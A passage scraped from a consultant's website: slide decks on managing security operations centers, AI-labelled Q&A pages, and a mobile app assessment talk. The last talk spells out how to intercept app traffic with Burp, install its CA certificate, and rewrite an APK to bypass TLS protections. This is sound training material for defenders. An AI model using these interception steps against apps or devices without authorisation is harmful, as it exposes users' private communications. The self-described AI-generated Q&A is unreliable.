izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + + •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Resolutions: Misalignment Threat Intelligence Inadequate Threat Intelligence •Buy It •There is a large amount of threat information available •Leveraging existing open source collection is an art because there’s a lot of noise in the available material: what do you want to know? What do you need to know? •Build It •Every incident discovered is a potential source of intelligence •Have short term and long term capability to absorb this Buy It •It takes maturity to utilize threat intelligence •Dashboards are cool to look at, but what is the analyst actually supposed to do with this? •Useful to have threat intelligence focused staff to manage the information that is provided to analysts •Might not be a full time job in your environment •Requires curation and filtering •Vendors can help (but don’t always) •(Recorded Future shown here) How to Use Open Source Intel? •Best to directly/automatically enrich the SIEM or other analyst tool with Threat Intel (TI) rather than require individuals to read and research specific information •SOC Staff TI briefs •Daily 10 minute “latest” news •Weekly 30 -60 minute detailed brief to keep them updated on current trends •Executive TI brief •Weekly or Monthly – Strategic: don’t include many details Build It – Historical / Retroactive Analysis Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation Retroactive Analysis Example Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation New NIDS Rules DNS logs, IP addresses, other IOCs Tactics, Techniques and Procedures (TTPs) Build It – Attribution Capability •US-CERT TA18 -275A: HIDDEN COBRA – FASTCash Campaign •US DHS, Treasury, FBI discovered capability assessed to be North Korean actors •Banks targeted are in Africa and Asia •Includes a list of illicit transaction codes •A compromised server intercepts the fraudulent transactions, drops the transaction request from reaching the payment transaction server, but sends a verified code back to the ATM to authorize the transaction •Leverages compromised servers in bank infrastructure and x200 ISO8583 payment transaction messaging protocol message manipulation •Detailed understanding required extensive in depth forensic analysis •Someone did the analysis, it could be you Share It •ISACs •Federated information sharing •Multi -SOC models Share It - ISACs •In the US, there is an ISAC coordination group of about 20 industry specific ISACs: https://www.nationalisacs.org •Defense, Energy, Education, Health, IT, Retail, Transportation, … •APCERT 2017 report cites FS -ISAC, and others: https://www.apcert.org/documents/pdf/APCERT_Annu al_Report_2017.pdf •Short story: find out where you should participate Share It – Federated •Federated information sharing can be largely decentralized, and often helps when no official avenue of information sharing is available •One of my favorite examples of an open sharing resource: https://apt.threattracking.com Share It – Federated Share It – Multi -SOC Models CompanyRegionalGlobalSOC 1 – Global Headquarters SOC 2 – APAC SOC 3 – Company 1SOC 4 – Company 2SOC 5 – Europe SOC 6 – Company ASOC 7 – Company BInform ationDirec tion Resolutions: Misalignment Response Empowerment Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Resolutions: Misalignment Technology Selection Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Crowley has a presentation related to use case development that is available via the SANS site https://mgt517.com/use -case (registration required) SOC System Visibility (External Awareness)Comm - unicationOpsDetection & PreventionStorage Deception Analysis Example Open Source Twitter, news sites, threat connect, OTX, Maltego CE, MRTG, RRD toolVisibility (External Awareness) GPG, Skype, Slack, Linux servers, Communication The Hive, RTIR Ops SIFT, GRR, Winpmem /Volatility, OSSEC, syslog, SecurityOnion , ELK, Wireshark, Kismet, Cuckoo Detection & Prevention MySQL, Postgresql , syslog, ELK Storage Tor, public access, Remnux , ADHD, Canary tokens, Kippo Deception Virtualbox , GDB, Immunity, Metasploit, radare2, STIGs, Timesketch , Maltego CE, Yara, SIFT, Burp, Arachni , JaD-X Analysis Example Moderate Threat Connect, OTX, Maltego , What’s UpVisibility (External Awareness) Vonage Cloud, Shoretel , Exchange PKI, Microsoft Teams, AWS EC2, Communication CyberCPR , Jira+Confluence , Demisto , ZenDesk , Ops SafeBack , FTK, F -response, Tripwire, Windows Defender, AppLocker, Bitlocker , Fortinet, NetWitness , LogRhythm, ProofPoint , Tripwire, AirDefense , LogRhythm, AlienVaultDetection & Prevention AWS EC2, Azure, Dropbox, Shredding / IronMountain Storage Cable / DSL connection, VMWare Workstation, Honeybot , Authentic8 Deception VMWare Workstation, CobaltStrike , Trackwise Change Management, Tripwire, PowerShell DSC, CaseFile , Maltego , FRED workstation, Burp Professional, Hopper, JEB Analysis Example Enterprise RecordedFuture , Crowdstrike , CarbonBlack , Tivoli, Cisco NetFlow, iSIGHTVisibility (External Awareness) Avaya, Silent Circle, iOS phones, PKI signed user certs Communication Service Now, Phantom(Splunk), Remedy Ops Tableau, Fireeye HX, CarbonBlack Protect, Encase eDiscovery, Cylance Protect, McAfee FDE, Cellebrite UFED, Cisco FirePOWER , Splunk, Solera, Arbor Network, Cisco wIPS , Palo Alto, Fireeye AX, McAfee Skyhigh , Splunk Enterprise SecDetection & Prevention Tenable LCE, data lake from SIEM, SANS LUNs, Safe with logging and per user access control, Commercial degausser Storage Authentic8, VMWare vSphere, redundant non -attributable network, Javelin Networks, Cymmetria MazeRunner , Joe Sandbox Deception VMWare Workstation, CobaltStrike , CaseFile , Maltego , FRED workstation, Burp Professional, IDA Pro, CoreImpact , Rapid7 Nexpose, ServiceNow (change control), McAfee ePolicy Auditor, Chef/Puppet, Crowstrike Falcon X, Cisco AMP, Cellebrite UFED 4PC, Encase Enterprise, Tenable SC Analysis Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Resolutions: Staff Inadequate Funding Staff Funding Issues •Difficult time asking for more staff •Service Level Objectives (SLOs) help prioritize •SOC / CIRT is a cost center: loss prevention •Attackers are profit centers for their organizations •If one organization’s loss center is pitted against another organization’s profit center, the profit center will win in the long term. This is the best way to explain the struggle to your management Resolutions: Staff Skillset Staff Skillset Improvement •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Resolutions: Staff Development Program Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required time practicing •Scripts, Internal tools – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for) Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A) Quarterly Internal Training Development •External training is limited due to lack of time and/or funding •Resolution: Each functional area develops an exercise •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharp Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) next ACH Spam ExampleMalware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Analysis of Competing Hypothesis (ACH) Template Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 … Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice Summary of Issues Discussed •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Recap of Terminology •CIRT / CERT / CSIRT •Cyber Incident Response Team / Cyber Emergency Response Team / Cyber Security Incident Response Team •Primarily responsive with outreach, coordination, and detective capability •C/SOC Security Operations Center / Cyber Security Operations Center •Monitoring / Detection, Threat Intelligence, Response (or perhaps transfer to a CIRT/CERT), Self -Assessment •Currently a trend to build •Fusion Center/ ISAC – Information Sharing and Analysis Center •Collection, processing, and dissemination of threat intelligence with overall response direction/coordination (but not actively involved in response action) •Often a government service, or is industry specific and funded Action Items Train your weakness, not your strength •Develop and report useful metrics •Deliver a consistent, quantitative expression of impact •Understand organization assets, or have category based planning •Use threat intelligence from outside and build it yourself •Engage with JP -CERT and appropriate ISAC •Practice incident response (IR) with system owners •Inventory SOC technology and develop better glue between systems •Internal and external development and training Thank you The End •People need to work together to resolve this issue •Usually at the end of a presentation, I would ask for questions •In Japan, this rarely seems to work. So, I want to try to do something different. I am willing to try different things to see what works, it is part of my personal program for improvement. •I’d like there to be a discussion ( 対話 ) among the attendees about what each person has attempted to do in his or her organization to improve the circumstances at the employer. •Please say one thing that has worked and how it worked, or one thing that has not worked and why it didn’t work. --- ## Source: https://montance.com/questions.php?id=141 [![pdf](content/images/icons/pdf.svg) The Definition of SOC-cess? SANS 2018 Security Operations Center Survey](https://www.sans.org/white-papers/definition-soc-cess-sans-2018-security-operations-center-survey/) The Definition of SOC-cess? Presentation by Christopher Crowley (2018-08-01) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for The Definition of SOC-cess? ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=113 [![pdf](content/images/icons/pdf.svg) Osaka SOC Brief.pdf](https://drive.google.com/file/d/1id-TLblS6kmrr_m5HOuc8-fxTUhlv7VF/view?usp=drive_link) Osaka SOC Brief Briefing on SOC strategies presented in Osaka. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What specific date was the Osaka SOC Brief presented? A: October 2018. * Q: Who is the presenter of the Osaka SOC Brief? A: Christopher Crowley. * Q: What is the '10 Strategies' reference in this presentation? A: Refers to the MITRE 'Ten Strategies of a World-Class Cybersecurity Operations Center'. * Q: What is the 'Detection Deficit' mentioned? A: The time gap between when an intrusion occurs and when it is detected. * Q: What is the recommended approach to 'Log Retention'? A: Retain logs for at least 1 year to support historical analysis and compliance. * Q: What is 'Process Consistency'? A: Ensuring that every analyst handles the same type of alert in the same way. * Q: What is the 'Analyst Burnout' rate discussed? A: High turnover due to repetitive tasks and high stress; automation is the proposed solution. * Q: What is the role of 'Use Cases' in this brief? A: To define exactly what the SOC is looking for and how to respond. * Q: What is the 'OODA Loop' application here? A: Using the OODA loop to speed up decision making during incident response. * Q: What is the advice on 'Tool Sprawl'? A: Consolidate tools where possible and ensure they integrate well. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1id-TLblS6kmrr_m5HOuc8-fxTUhlv7VF/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1id-TLblS6kmrr_m5HOuc8-fxTUhlv7VF/view?usp=drive_link]** MGT517 | Managing Security Operations MGT517 Security Operations to Resist Current Attack Trends Copyright Christopher Crowley 2017Christopher Crowley – chris@montance.com - CCrowMontance MGT517 | Managing Security OperationsQuick View Talk Explained 3 Trends MGT517 | Managing Security OperationsCurrent Attack Trends •Initial entry point is typically client -side attack •Social engineering (phishing, watering hole, spim…) •Browsers •User applications (Microsoft Office, Adobe Flash Player, Adobe Acrobat, Java) •Organized attackers •Hacktivists (Anonymous, Syrian Electronic Army) •Organized crime •Nation -state actors •Second -rate attackers (or script kiddies)Modern State of Security MGT517 | Managing Security OperationsBut It Is Encrypted •https://www.feistyduck.com /ssl-tls-and-pki-history/ •Many issues in TLS •It is broken in ways that we don’t realize yet •Started in 1994 •Enticing targetSSL/TLS protects us? MGT517 | Managing Security OperationsNoteworthy Recent Incidents •Equifax (Sept 2017) •143 million++ SSN •Verizon/NICE Systems PIN leak (July 2017) •14 million++ telephone #’s, customer names, PINs •Yahoo breach (Aug 2013 original) (Oct 2017) •500 million? 1 Billion accounts? 3 Billion (all) accounts? •Material impact on sale to Verizon? ~$100 Million decreaseData is Readily Available in the News MGT517 | Managing Security OperationsSupply Chain Threats •Checkpoint blog entry with supply chain related attack identifying 36 mobile devices which arrived pre-compromised •Ability to perform hardware assessment is limitedYour New Device is Ready, Sir MGT517 | Managing Security OperationsSupply Chain Threats •Mobile in general is largely unprotected space •Look at a number of my presentations on mobile: https://bit.ly/crow -cell-eaves •Look at SANS Top 8 Mobile Security StepsMobile Devices MGT517 | Managing Security Operations2017 DBIR Statistics 9 MGT517 | Managing Security Operations2017 FireEye M -Trends Detection Capability Improving MGT517 | Managing Security OperationsCloud Defined The Cloud Someone Else’s Computers MGT517 | Managing Security Operations•The cloud’s benefits haven’t escaped notice of attackers, either! •BAE Issued a report on APT 10 •Compromise MSSP to identify customers •Used MSSP access to break in to target networksAPT 10 Report – April 2017 Cloud Hopper Danger in the Cloud MGT517 | Managing Security OperationsOngoing Nation State Activity •There are a large number of information disclosures about nation state adversary activity •Threat Intelligence vendors are driving this partially •Shadowbrokers disclosure of Equation Group, alleged NSA TAO code resulting in details of multiple exploits: EXTRABACON, EternalBlue , …Several High Profile Disclosures MGT517 | Managing Security OperationsNon-Malware Attacks •Non -malware attacks are using a set of resources that are available •Firefox, Flash, Powershell execution, command and control… •The initial launch of scripts might originate within office documentsUsing Pre -Installed Resources Avoids Detective Tools MGT517 | Managing Security OperationsCurrent Attack Trends •September 2016 – Weak/default password Internet of Things (IoT) attacked by malware knows as Mirai •Established gigantic botnet •620 Gbps (Gigabits per second) of DDoS traffic aimed at Krebs on Security – Akamai stopped hosting him (he had been hosted for free up to that point) •Default passwords and no firewalls are the root causeIoT Botnet vs. Brian Krebs – Sept 2016 MGT517 | Managing Security OperationsCurrent Attack Trends Hardware Problems MGT517 | Managing Security Operations#MachineLearning#Blockchain#InitialCoinOffer •Blockchain technology is different than crypto -currency •A current trend of cryptocurrency related malicious code •Cryptolockers continue to be developed because they work •Cryptocurrency miners as a payload for theft •Machine Learning •Autopwn style like bloodhound/ gofetch – indicator of what’s to come •Money motivatesBuzz Words – But Having Real Impact on Us MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 18 Definition and Program Components MGT517 | Managing Security OperationsLevel Set First Principles •I assume there’s a group in your organization responsible for security operations •Very flexible definition of this, but often referred to as the SOC. Referential to SANS MGT517 19 MGT517 | Managing Security OperationsDefinition of Security Operations First Principles Security Operations – Protecting the confidentiality, integrity, and availability information systems of an organization through: proactive design and configuration, ongoing monitoring of system state, detection of unintended actions or undesirable state, and minimizing damage from unwanted affects. 20 MGT517 | Managing Security OperationsLong Term Build Plan and Improvement SOC Lifecycle •Design -> Build •Operate + MatureDrivers CharterSOC StructureStaffing TechIm- plement Monitor & Detect RespondImprove MGT517 | Managing Security OperationsSOC Requirements Steering Committee Three Types of SOC 22•Based on the requirements of your industry, organization objectives, and monetary investment your SOC will resemble one of the following •Compliance SOC – usually little growth / change •Security SOC – minimal competence - little growth •Security SOC – high competence - striving MGT517 | Managing Security OperationsSOC Requirements SOC Types Difference Between Minimal and High Competence 23•What’s the difference between a minimally competent SOC and a performance / striving SOC? •Organization support: Funding, Vision, Agency to affect change •SOC awareness of organization needs •Threat Intelligence (consumption and generation) MGT517 | Managing Security OperationsDesign Elements Components •Technology – hardware and software to accomplish the function’s objective •Inputs – expected objects transferred to function •Processes – the actions performed by the function •Artifacts – expected output from the function •People – employees, directly embedded contractors, customers, partners 24 MGT517 | Managing Security OperationsWhat Is Success for a SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 26 Functional Components MGT517 | Managing Security OperationsFunctional Components of SOC Components •The functional capabilities a SOC is expected to perform •Other parts you need to be operational •Software and hardware to make a SOC •Interactions between these capabilities •Interaction from SOC functions to other parts of the business •People and skillsets to make the SOC effective •Processes for repeatable and effective operations 27 MGT517 | Managing Security OperationsSOC / Command Center Components •The Command Center performs command and control of all activity related to security operations •Single point of entry for security related security requests (like 911 for emergencies) •Authority to direct response and notify constituents •Identification and deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems 28 MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) Components •Fundamental and critical capability •This entails watching the actions and communication of the information systems for unwanted activity •All forms of communication and activity •Requires dedicated hardware, software, and specialized staff •Gigantic amounts of constantly changing data •Objective: fast and accurate detection of issues 29 MGT517 | Managing Security OperationsThreat Intelligence Components •Insecure systems won’t be compromised without a threat leveraging the vulnerability •Studying the threats to our environment to better: prepare, detect, and respond •Threat Intel takes two forms •Production of Threat Intel – develop information based on artifacts •Consumption of Threat Intel - buy a feed, share with partners, etc. •Objective: tactical and strategic advantage over adversaries 30 MGT517 | Managing Security OperationsIncident Response Components •Incident Response is engaged after a problem detected by NSM or external notification •Strives to minimize the damage from the incident •Performs thorough analysis to determine extent of the incident •Leverages lessons learned from incidents to enhance defensibility of the organization •Objective: minimize impact of problems 31 MGT517 | Managing Security OperationsForensics Components •In support of Incident Response, specialized capabilities to determine the extent of the incident and proactively prevent spread of adversary with detection based on forensic analysis •We’ll discuss each of these types of forensics: •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment 32 MGT517 | Managing Security OperationsForensics – Host Components •Host Forensics studies data on individual systems – includes cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: detailed analysis of events on systems of interest 33 MGT517 | Managing Security OperationsForensics – Network Components •Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised 34 MGT517 | Managing Security OperationsForensics – Reverse Engineering Components •RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also could be firmware, hardware, etc. •Objective: detailed analysis, determination of safety and intent of hardware or software in use in the organization 35 MGT517 | Managing Security OperationsForensics – eDiscovery Components •eDiscovery is a necessary capability in any organization •Interfaces with Legal team to define objectives •Leverages existing infrastructure to efficiently support collection •Requires specialized expertise for retention of records •Most organizations have obligation to support discovery •For US Government, also entails Freedom of Information Act (FOIA) requests •Objective: Collect information assets in a reproducible and thorough fashion 36 MGT517 | Managing Security OperationsSelf-Assessment Components •Configuration Monitoring •Vulnerability Assessment •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist and recover when incidents occur 37 MGT517 | Managing Security OperationsConfiguration Monitoring Components •CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring •Objective: monitor settings and change from specified baseline of settings 38 MGT517 | Managing Security OperationsVulnerability Assessment Components •Vulnerability Assessment is testing systems for issues, such as missing patches or misconfiguration and directing remediation •Typically performed using a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: vulnerability to known flaws and weak configurations 39 MGT517 | Managing Security OperationsPenetration Testing Components •Pen Testing goes beyond vulnerability scans to model how an adversary would compromise a system and what is at risk •Time intensive, expertise required •Objective: determine risk of an information system by demonstrating impact of compromise and model adversary attack methods against a system 40 MGT517 | Managing Security OperationsExercises Components •Exercises model plausible scenarios, challenging staff to follow procedures and adapt new ones. They reinforce good practices and fix bad behavior. •Very valuable, but often neglected •The culture of “too busy” frequently prevents exercises •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues 41 MGT517 | Managing Security OperationsStructure of SOC Components •Pool of people (typically small group) •Everyone on one team, share responsibility, rotate rolls or matrix based on skillset and capability •Attacker Phase Mirroring •Organized groups as counter to attacker behaviors •Functional Group •What is mostly presumed for the MGT517 class material: primarily a pedagogical choice for clarityFunctions Arrangement Options 42 MGT517 | Managing Security OperationsMulti -SOC Models Layers of SOC Follow -the-sun 43•Three or more physical locations across the globe to give 24x7 coverage •Dublin (UTC) , Seattle (UTC -8), Singapore (UTC +8) for example •Legal concerns of data privacy laws and data portability, and political stability of the country •Transitions between teams and consistency among capabilities and methodology is a challenge •We’ll talk more about culture tomorrow, but having the exact same procedures for teams in New York, Mumbai, and Tokyo will likely result in sub optimal performance, account for regional difference •Select which functions need follow the sun. NSM and Command Center are likely candidates, as is IR MGT517 | Managing Security OperationsStructure of SOC Components •Pool of people (typically small group) •Everyone on one team, share responsibility, rotate roles or matrix based on skillset and capability •Attacker Phase Mirroring •Organized groups as counter to attacker behaviors •Functional Group •What is mostly presumed for the class material: primarily a pedagogical choice for clarity, more common in larger SOCsFunctions Arrangement Options 44 MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 45 Process, Procedures, Playbooks MGT517 | Managing Security OperationsThe Only Constant Is Change Maturity •SOC processes should be designed to adapt to the inevitable changes it will face •Following the procedure is the right thing to do, so long as the procedures are always updated •SOC should utilize its capability and resources everywhere possible to aid the business: federated central logging, for exampleAgility and Adaptability MGT517 | Managing Security OperationsPlaybook Maturity •Playbooks provide operational guidance on •Preferred methodology •Objective state •Available resources and opportunities for assistance •Requirements for escalation •Authority to perform tasks, and boundaries of authority •Should include checklists and quick reference materialGuidelines for the Professional MGT517 | Managing Security OperationsStandard Operating Procedures Maturity •SOPs should be used in cases where rigor is needed to avoid errors •SOPs are useful for lower skilled, high turn over positions, but high -skill workers can be helped by SOPs and checklists (despite their occasional protests to the contrary)Exact Steps to be Performed MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 49 Developing Security Operations Capability MGT517 | Managing Security OperationsModels of Analysis Weltanschauung •MITRE ATT&CK framework alternate to the Cyber Threat Kill Chain (discussed next) warrants mention •ATT&CK: Adversarial Tactics, Techniques, and Common KnowledgeMITRE ATT&CK 50 MGT517 | Managing Security OperationsModels of Analysis Weltanschauung •Attempt to enumerate attacker capabilities •Matrices of attacker capabilities at various phasesMITRE ATT&CK MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •https://www.ibm.com/security/services/use -case -library •https://conf.splunk.com/files/2016/slides/a -framework -for- developing -and-operationalizing -security -use-cases.pdf •https://www.splunk.com/en_us/resources/use -cases.html •https://blog.phantom.us/2017/02/08/selecting -use-cases - for-automation -part -2/ •https://github.com/Neo23x0 •Threathunting.net (D.J. Bianco’s site) •Chuvakin (Gartner): Detailed SIEM Use Case Example •Demisto COPS (Collaborative Open Playbook Standard: https://github.com/demisto/COPS https://www.demisto.com/category/playbooks/Repositories for Use Cases MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development MaGMa UCF •Nice program put together by Rob Van Os •Easiest way to find the spreadsheet is his linked in profile currently MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 54 Summary MGT517 | Managing Security OperationsThank You References •Thank you for the time and attention •I hope this has been useful for you ありがとうございました 55 MGT517 | Managing Security OperationsDownloads & Contact Information First Principles https://bit.ly/crow -soc @CCrowMontance chris@montance.com 56 MGT517 | Managing Security Operations --- ## Source: https://montance.com/questions.php?id=140 [![pdf](content/images/icons/pdf.svg) Top8StepsForMobile AppAssessmentFocus](https://drive.google.com/file/d/1k-f_cyXTlqNXbUFTQXeGOEqU4ElqxBtM/view?usp=drive_link) Top8StepsForMobile AppAssessmentFocus Presentation by Christopher Crowley (2018-02-08) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Top8StepsForMobile AppAssessmentFocus ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1k-f_cyXTlqNXbUFTQXeGOEqU4ElqxBtM/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1k-f_cyXTlqNXbUFTQXeGOEqU4ElqxBtM/view?usp=drive_link]** Top 8 Steps for Mobile - Application Assessment Christopher Crowley @CCrowMontance All Rights Reserved All Wrongs Reversed Top 8 Steps Top 8 Mobile Device Security Steps 1.Enforce Device Passcode Authentication 2.Monitoring Mobile Device Access and Use 3.Patching Mobile Devices 4.Prohibit Unapproved Third -Party Application Stores 5.Control Physical Access 6.Evaluate Application Security Compliance 7.Prepare an Incident Response Plan for Lost or Stolen Mobile Devices 8.Implement Management and Operational Support Each of These 8 Steps Are Important Each step needs to be: Considered Planned Executed Maintained We’ll focus on Application Assessment today But there are plenty of other items for your mobile deployment Application Assessment Application Assessment Considerations Consideration for Application Assessment Consider what your objectives are: Maintain access to organization data Detect / Prevent loss of data Detect / Prevent unauthorized modification to data Leverage employee assets for work purposes? Protect organizationally owned assets? Assist employees to protect personal devices? Application Assessment Planning Planning – What is (Un)Acceptable Two methods for app assessments Thorough inspection of all app capabilities Predetermined “red flags” which would prohibit use of application Example: accesses contacts and copies them off device Example: tracks location and sends off device Example: access to photos / photo stream Example: User login credentials sent in plain text (or logged) Application Assessment Execution Execution of Application Assessment Technically involved Even Apple and Google miss code included in applications XCode Ghost is an example Malicious library (with C2) included at compile time due to malicious XCode image from: https://www.fireeye.com/blog/threat -research/2015/11/xcodeghost_s_a_new.html Methodology Helps Overcome Limitations Having a repeatable methodology is helpful to minimize the effort, as well as help the assessor to be sure that important facets aren’t overlooked It also helps to train the assessors Long term program will be more productive and train junior people SANS SEC575 - Application Report Cards https://github.com/joswr1ght/MobileAppReportCard.git Application Report Cards Report Cards address Permissions Executable deficiencies Local data storage and protection Confidentiality Integrity Protection of network communication Inter -process communication Assessment Legal Preface Consult your legal counsel However, the notion is that assessing an application (which was legally obtained) for suitability of interoperation within your network is legal Do so for networks only where you have written permission to perform this type of analysis Permission to Assess Methodology – Network Easiest to perform without specialized tools Put the mobile device on a network, and monitor the communication through a laptop Challenge – TLS protected communication Challenge – interpreting hidden or obfuscated data Challenge – application has a trigger condition which isn’t met in your testing, obscuring some undesirable but present behavior Methodology – Network Two basic options The host, windows or native linux hosts an access point Use a VM or the host, connect a USB wired NIC, connect a wifi pineapple My set up is often the latter, as I prefer to use linux as the intercept host – more manipulation options – ettercap , bettercap , burp, etc. Methodology – Network – Windows as an AP Use Windows laptop with a USB connected network card (In this case the card is a ALFA AWUS 036NHA) Configure the USB card as an Access Point Configure the built in wireless connection to connect to the internet Configure the built in wireless to have Internet Connection Sharing (ICS) Methodology – Network – Windows as an AP Configure the built in wireless to have Internet Connection Sharing (ICS) Install Burp CA cert into User store of device Will use burp to monitor the communications Lets you determine if certificate pinning is in place, and the data at risk if it is not Methodology – Network – Windows as an AP Mobile device < --> WAP < --> laptop w/ ICS enabled < --> Wireless < --> Internet Interface configuration: wireless USB - WLAN 2 - set as an access point As admin run – (disable wlan the other wireless interface) netsh wlan set hostednetwork mode=allow ssid=montance key=itisntreallyaword netsh wlan start hostednetwork Methodology – Network – Linux VM Kali VM USB NIC passed to Kali VM Connect device to wifi pineapple as an AP Run wp4.sh script (My Juiced Up Wifi Pineapple Script SANS Pentest blog for details on my little tweaks to make life easy) https://pen -testing.sans.org/blog/2014/05/07/my -juiced -up- wifi-pineapple -configurator -script Methodology – Network Transparent firewall rules can direct traffic into a proxy Or device can be configured to use a proxy Methodology – Network Either way, proxy is viewing (and can modify) the content Methodology – Network How to deal with TLS? Easiest way is to include proxy’s certificate Burp serves up a .der format file, so convert it openssl x509 –inform der –outform pem –in cacert.der –out cacert.pem python –m SimpleHTTPServer 9090 Browse to system, collect cert ( http://172.16.42.42:9090/ ) Install Cert: Settings – Security – “Install from Storage” Select “ cacert.pem ” Methodology – Network TLS continued Later Android requires an APK rewrite Decompile using apktool Edit res/xml/network_security_config.xml Recompile using apktool Methodology – Network Get “man in the middle” Here the cert issuer for www.google.com is my Burp Suite CA – “PortSwigger CA” Apps vary on how they deal with this depending on how they’re programmed Cert pinning may be in use Methodology – Network Additionally, full packet capture (PCAP) via tcpdump , dumpcap , wireshark , etc. during assessment Methodology – Network You have the benefit of control of the application while you’re doing this work Don’t rush, provide ample time between actions to help to isolate what you’re reviewing Record the time of every action you take, use this to correlate to network activity Search traffic for all (unique) data that you input, also potentially hashes, we’ll talk about code review next Methodology – Network Wireshark conversations view Methodology – Code Assessment By reviewing the code, there is an opportunity to see more than the behavior of the app during your observation You can see all of the things the application is programmed to do This is more complex than evaluation of network Requires tools to assist with the code assessment Acquire Application to Assess Android – a couple of options Install app, use ES FileExplorer to backup apk Tool like RealAPK Leecher to pull from Play store iOS Must have a jailbroken phone to extract application, but network/behavioral assessment can be done without jailbroken phone Jailbroken phone: collect executable from within the install directory Decrypt with 